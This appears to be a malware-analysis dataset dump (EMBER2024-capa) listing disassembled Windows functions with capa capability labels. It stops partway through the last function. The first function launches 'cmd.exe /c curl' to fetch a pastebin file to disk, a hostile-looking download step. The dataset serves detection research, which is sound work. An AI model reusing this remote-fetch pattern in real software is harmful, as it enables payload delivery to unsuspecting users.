joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001000
Capabilities:
Create process on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x138
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0xe0]
lea rcx, str.cmd.exe__c_curl_https:__pastebin.com_raw_ma5tXhtA__o_README.txt
mov rdi, rax
mov rsi, rcx
mov ecx, 0x40
rep movsb byte [rdi], byte [rsi]
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.18000eaf0
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0xac], 1
xor eax, eax
mov word [rsp + 0xb0], ax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.18000eaf0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.1800011b0
add rsp, 0x138
pop rdi
pop rsi
ret
Function at 0x18000909c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800090cc
xor eax, eax
jmp 0x18000918f
mov rbp, rbx
cmp word [rax], si
je 0x1800090f1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800090d8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800090d4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180008fbc
movsxd r14, eax
test eax, eax
jne 0x18000912f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800090c5
mov rcx, r14
call fcn.18000a32c
mov rdi, rax
test rax, rax
jne 0x180009148
xor ecx, ecx
call fcn.1800075f4
jmp 0x180009124
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180008fbc
test eax, eax
jne 0x180009179
mov rcx, rdi
call fcn.1800075f4
jmp 0x180009183
xor ecx, ecx
call fcn.1800075f4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x18000e8e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x18000e908
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x18000e908
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1800013f0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x180001418
xor eax, eax
lea r8, [0x180001340]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
Function at 0x1400011a0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rbp - 8], rax
cmp byte [0x14005bac3], 0
je 0x1400011c8
test cl, cl
je 0x14000133f
lea rax, [rbp - 0x20]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREAdobeAdobe_AcrobatDCInstaller_
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001338
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140001338
mov qword [rsp + 0x60], rbx
xor ebx, ebx
cmp byte [0x14005bac3], bl
mov dword [rbp - 0x14], ebx
mov dword [rbp - 0x18], ebx
mov dword [rbp - 0x10], 4
jne 0x140001259
lea rax, [rbp - 0x10]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x14]
lea rax, [rbp - 0x18]
lea rdx, str.bIsSingleClientApp
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140001259
cmp dword [rbp - 0x14], 4
jne 0x140001259
cmp dword [rbp - 0x18], ebx
setne byte [0x14005bac1]
cmp byte [0x14005bac1], bl
je 0x140001329
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x14]
lea rax, [rbp - 0x18]
mov dword [rbp - 0x18], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.bIsSCAcroAppInstalled
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400012a6
cmp dword [rbp - 0x14], 4
jne 0x1400012a6
cmp dword [rbp - 0x18], ebx
setne byte [0x14005bac0]
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x14]
lea rax, [rbp - 0x18]
mov dword [rbp - 0x18], ebx
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SCAPackageLevel
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400012eb
mov eax, dword [section..data]
cmp dword [rbp - 0x14], 4
cmove eax, dword [rbp - 0x18]
mov dword [section..data], eax
mov rcx, qword [rbp - 0x20]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x14]
lea rax, [rbp - 0x18]
xor r8d, r8d
lea rdx, str.IsAcrInstalledInRdrMode
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140001329
cmp dword [rbp - 0x14], 4
jne 0x140001329
cmp dword [rbp - 0x18], ebx
setne byte [0x14005bac2]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x60]
mov byte [0x14005bac3], 1
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400218f0
add rsp, 0x50
pop rbp
ret
Function at 0x140001450
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x28
lea r10, [0x14005d360]
xor eax, eax
mov r8, r10
mov edx, eax
lea r8, [r8 + 4]
and edx, 1
mov ecx, eax
shr ecx, 1
neg edx
and edx, 0xedb88320
inc eax
xor edx, ecx
mov ecx, edx
shr edx, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr ecx, 1
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
shr edx, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr ecx, 1
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
shr edx, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, edx
mov edx, ecx
shr ecx, 1
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, ecx
mov ecx, edx
shr edx, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, edx
mov dword [r8 - 4], ecx
cmp eax, 0x100
jb 0x140001460
cmp eax, 0x800
jae 0x140001537
lea r9, [r10 + rax*4]
nop word [rax + rax]
lea ecx, [rax - 0x100]
inc eax
mov r8d, dword [r10 + rcx*4]
lea r9, [r9 + 4]
movzx edx, r8b
shr r8d, 8
xor r8d, dword [r10 + rdx*4]
mov dword [r9 - 4], r8d
cmp eax, 0x800
jb 0x140001510
lea rax, [0x140001570]
mov qword [0x14005bac8], rax
call fcn.140006ac0
mov rcx, qword [0x14005bac8]
lea rdx, [0x140001640]
test eax, eax
cmove rcx, rdx
mov qword [0x14005bac8], rcx
add rsp, 0x28
ret

Function at 0x140002310
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, qword [r8]
mov rdi, r8
mov rsi, rdx
mov r14, rcx
test rbx, rbx
je 0x14000238e
xor ebp, ebp
mov r15d, 0x400000
mov qword [r8], rbp
nop dword [rax + rax]
mov rcx, qword [r14]
lea r9, [rsp + 0x30]
mov r8d, ebx
mov dword [rsp + 0x30], ebp
cmp rbx, r15
mov qword [rsp + 0x20], rbp
mov rdx, rsi
cmova r8d, r15d
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [rsp + 0x30]
add qword [rdi], rdx
add rsi, rdx
sub rbx, rdx
test eax, eax
je 0x1400023b1
test edx, edx
je 0x14000238e
test rbx, rbx
jne 0x140002350
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400218f0
mov rbx, qword [rsp + 0x88]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140002390
Function at 0x1400068e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rdi
push r12
push r13
push r15
mov r10d, dword [r9]
xor r12d, r12d
and r10d, 7
mov r13, r9
mov edi, r8d
mov r15, rcx
mov r11d, r12d
cmp rdx, 5
jae 0x14000690e
xor eax, eax
pop r15
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 0x28], rbx
add edi, 5
mov qword [rsp + 0x30], rbp
lea rbx, [rdx - 4]
mov qword [rsp + 0x38], rsi
mov rbp, 0xffffffffffffffff
mov qword [rsp + 0x40], r14
add rbx, r15
mov r14d, dword [rsp + 0x48]
lea r9, [0x140000000]
nop
lea r8, [r11 + r15]
cmp r8, rbx
jae 0x140006962
nop dword [rax]
movzx eax, byte [r8]
and al, 0xfe
cmp al, 0xe8
je 0x140006962
inc r8
cmp r8, rbx
jb 0x140006950
mov r11, r8
sub r11, r15
mov rax, r11
sub rax, rbp
cmp r8, rbx
jae 0x140006a87
cmp rax, 3
jbe 0x14000699f
mov r10d, r12d
movzx ecx, byte [r8 + 4]
mov rbp, r11
lea eax, [rcx - 1]
cmp al, 0xfd
ja 0x1400069e4
and r10d, 3
add r10d, r10d
or r10d, 1
inc r11
jmp 0x140006940
lea ecx, [rax - 1]
shl r10d, cl
and r10d, 7
je 0x140006980
cmp byte [r10 + r9 + 0x42a20], r12b
je 0x1400069ce
movzx eax, byte [r10 + r9 + 0x42a28]
mov rcx, r8
sub rcx, rax
movzx eax, byte [rcx + 4]
inc al
test al, 0xfe
jne 0x140006980
and r10d, 3
mov rbp, r11
add r10d, r10d
or r10d, 1
inc r11
jmp 0x140006940
movzx eax, byte [r8 + 3]
lea rsi, [r9 + 0x42a28]
mov edx, ecx
shl edx, 8
or edx, eax
movzx eax, byte [r8 + 2]
shl edx, 8
or edx, eax
movzx eax, byte [r8 + 1]
shl edx, 8
or edx, eax
mov eax, r10d
add rsi, rax
test r14d, r14d
je 0x140006a1e
lea eax, [r11 + rdx]
add eax, edi
jmp 0x140006a25
mov eax, edx
sub eax, r11d
sub eax, edi
test r10d, r10d
je 0x140006a5a
movzx r9d, byte [rsi]
mov ecx, 0x18
shl r9d, 3
mov edx, eax
sub ecx, r9d
shr edx, cl
inc dl
test dl, 0xfe
jne 0x140006a5a
mov ecx, 0x20
mov edx, 1
sub ecx, r9d
shl edx, cl
dec edx
xor edx, eax
jmp 0x140006a11
mov ecx, eax
mov byte [r8 + 1], al
shr ecx, 0x18
and cl, 1
neg cl
mov byte [r8 + 4], cl
mov ecx, eax
shr ecx, 0x10
mov byte [r8 + 3], cl
mov ecx, eax
shr ecx, 8
mov byte [r8 + 2], cl
add r11, 5
jmp 0x140006938
mov r14, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x28]
cmp rax, 3
ja 0x140006aae
lea ecx, [rax - 1]
shl r10d, cl
and r10d, 7
mov r12d, r10d
mov dword [r13], r12d
mov rax, r11
pop r15
pop r13
pop r12
pop rdi
ret

Function at 0x14000bdc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14000be35
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14000be35
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x14000be25
nop
cmp rbx, rcx
jae 0x14000be35
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x14000be10
cmp rbx, rcx
jae 0x14000be35
cmp word [rbx], 0
je 0x14000be35
mov rax, rbx
jmp 0x14000be37
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000bec0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14000bfa0
cmp byte [rcx + 0x71], 0
je 0x14000bfa0
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
mov rax, qword [rax + 0x18]
call qword [case.0x14002066a.0]
cmp eax, 0xffffffff
je 0x14000bf9c
mov rcx, qword [rbx + 0x68]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], r8
lea rdx, [rbx + 0x74]
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
mov rax, qword [rcx]
mov rax, qword [rax + 0x40]
call qword [case.0x14002066a.0]
test eax, eax
je 0x14000bf62
sub eax, 1
je 0x14000bf66
cmp eax, 2
jne 0x14000bf9c
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400218f0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14000bf93
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call fcn.14002a84c
cmp rdi, rax
jne 0x14000bf9c
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000bf4a
xor al, al
jmp 0x14000bf4a
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400218f0
add rsp, 0x60
pop rbx
ret
Function at 0x14000d460
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000d490
xor eax, eax
jmp 0x14000d5e0
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000d4ca
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14000d4ca
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14000d5e0
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xb0], rsi
je 0x14000d5d3
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000d50d
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14000d51c
movsx ecx, dil
jmp 0x14000d57a
lea r8, [rsp + 0x50]
mov byte [rsp + 0x60], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x61]
lea r8, [rsp + 0x88]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x68]
mov rax, qword [rax + 0x38]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x60]
call qword [case.0x14002066a.0]
test eax, eax
je 0x14000d594
sub eax, 1
je 0x14000d594
cmp eax, 2
jne 0x14000d5d3
movsx ecx, byte [rsp + 0x60]
mov rdx, qword [rbx + 0x80]
call fcn.140029f60
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14000d5d8
mov rsi, qword [rsp + 0x50]
lea rax, [rsp + 0x68]
sub rsi, rax
je 0x14000d5c1
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x68]
mov r8, rsi
mov edx, 1
call fcn.14002a84c
cmp rsi, rax
jne 0x14000d5d3
lea rax, [rsp + 0x60]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x58], rax
mov eax, edi
jne 0x14000d5d8
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.1400218f0
mov rbx, qword [rsp + 0xb8]
add rsp, 0x90
pop rdi
ret
Function at 0x14000ddc0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x14000dde2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14000de63
mov rdi, r14
mov rcx, rbx
call fcn.14000c310
test rax, rax
jle 0x14000de34
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.140023d80
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000de53
mov rax, qword [rbx]
mov rcx, rbx
mov rax, qword [rax + 0x38]
call qword [case.0x14002066a.0]
cmp eax, 0xffffffff
je 0x14000de5b
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x14000ddf6
sub r14, rdi
jmp 0x14000df58
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x14000de7a
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000de7c
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000deb1
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.140023d80
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000df55
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x14000deec
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x14000df30
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14002a2e4
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x14000df6e
cmp rbp, rax
ja 0x14000df00
mov r8, rdi
test rdi, rdi
je 0x14000df55
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14002a2e4
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x14000df58
Function at 0x14000e040
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov r14, r8
mov rbp, rdx
mov rdi, rcx
mov rbx, r8
je 0x14000e0e1
test r8, r8
jle 0x14000e0d9
mov rcx, rdi
call fcn.14000c8a0
test rax, rax
jle 0x14000e0b0
mov rcx, qword [rdi + 0x40]
cmp rbx, rax
mov rsi, rbx
mov rdx, rbp
cmovge rsi, rax
mov r8, rsi
mov rcx, qword [rcx]
call fcn.140023d80
mov rax, qword [rdi + 0x58]
sub rbx, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
jmp 0x14000e0d1
mov rax, qword [rdi]
mov rcx, rdi
movzx edx, byte [rbp]
mov rax, qword [rax + 0x18]
call qword [case.0x14002066a.0]
cmp eax, 0xffffffff
je 0x14000e0d9
dec rbx
mov esi, 1
add rbp, rsi
test rbx, rbx
jg 0x14000e072
sub r14, rbx
mov rax, r14
jmp 0x14000e155
mov rax, qword [rcx + 0x40]
mov r9, qword [rax]
test r9, r9
je 0x14000e0f5
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14000e0f7
xor ecx, ecx
movsxd rsi, ecx
test r14, r14
jle 0x14000e14f
test ecx, ecx
jle 0x14000e130
cmp r14, rsi
mov rcx, r9
cmovl rsi, r14
mov r8, rsi
call fcn.140023d80
mov rax, qword [rdi + 0x58]
sub r14, rsi
add rbp, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
test r14, r14
jle 0x14000e14f
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14000e14f
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.14002a84c
sub r14, rax
sub rbx, r14
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14000e4e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rbx, rcx
mov rsi, rdx
mov ecx, 0x20a
call fcn.140021ff4
xor edx, edx
mov r8d, 0x20a
mov rcx, rax
mov rdi, rax
call fcn.140024430
lea rax, [rsp + 0x30]
mov dword [rsp + 0x38], 0x20a
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [0x140042f80]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000e5ad
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x3c]
xor r8d, r8d
mov qword [rsp + 0x20], rdi
lea rdx, str.Shell
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x14000e596
mov rax, 0xffffffffffffffff
inc rax
cmp word [rdi + rax*2], 0
jne 0x14000e584
cmp rax, 0x208
jb 0x14000e5a2
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call fcn.140021950
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400218f0
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret

Function at 0x14000e5e0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov edi, edx
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call fcn.140024430
lea rdx, [rsp + 0x20]
mov rcx, 0xffffffff80000001
call fcn.14000e4e0
mov ecx, 0x104
lea rax, [rsp + 0x20]
cmp word [rax], 0
je 0x14000e646
add rax, 2
sub rcx, 1
jne 0x14000e636
xor esi, esi
mov eax, 0x104
sub rax, rcx
test rcx, rcx
cmove rax, rsi
je 0x14000e65e
test rax, rax
jne 0x14000e6bb
lea rdx, [rsp + 0x20]
mov rcx, 0xffffffff80000002
call fcn.14000e4e0
mov ecx, 0x104
lea rax, [rsp + 0x20]
nop dword [rax]
cmp word [rax], si
je 0x14000e68f
add rax, 2
sub rcx, 1
jne 0x14000e680
mov eax, 0x104
sub rax, rcx
test rcx, rcx
cmove rax, rsi
je 0x14000e6a5
test rax, rax
jne 0x14000e6bb
lea r8, str.explorer.exe
mov edx, 0x104
lea rcx, [rsp + 0x20]
call fcn.14002aee4
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov ecx, eax
lea rdx, [rsp + 0x20]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rdx + rax*2], si
jne 0x14000e6e0
inc rax
cmp rax, rcx
mov rcx, rbx
jne 0x14000e6fb
lea r8, [rsp + 0x20]
jmp 0x14000e73e
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec eax
mov rcx, rbx
cmp eax, 0x103
ja 0x14000e737
lea r8, [0x140042f7c]
mov rdx, rdi
call fcn.14002ae64
test eax, eax
jne 0x14000e751
lea r8, [rsp + 0x20]
mov rdx, rdi
mov rcx, rbx
call fcn.14002ae64
jmp 0x14000e746
lea r8, str.C:Windowsexplorer.exe
mov rdx, rdi
call fcn.14002aee4
test eax, eax
jne 0x14000e751
mov eax, 1
jmp 0x14000e753
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1400218f0
lea r11, [rsp + 0x240]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14000e780
Capabilities:
Compare security identifiers

Disassembly:
push rdi
sub rsp, 0x90
mov rax, qword [0x14005a458]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor edi, edi
mov qword [rsp + 0x68], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000e8d2
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
mov qword [rsp + 0xa8], rsi
xor r9d, r9d
mov esi, 1
mov dword [rsp + 0x60], edi
mov edx, esi
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x14000e8bf
mov qword [rsp + 0xa0], rbx
mov ebx, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
lea edx, [rdi + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x14000e8b7
mov r9d, dword [rsp + 0x60]
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov r8, rbx
mov edx, esi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14000e8a3
lea rax, [rsp + 0x70]
mov dword [rsp + 0x78], edi
mov qword [rsp + 0x50], rax
lea r8d, [rdi + 0x12]
mov dword [rsp + 0x48], edi
lea rcx, [rsp + 0x78]
mov dword [rsp + 0x40], edi
xor r9d, r9d
mov dword [rsp + 0x38], edi
movzx edx, sil
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov word [rsp + 0x7c], 0x500
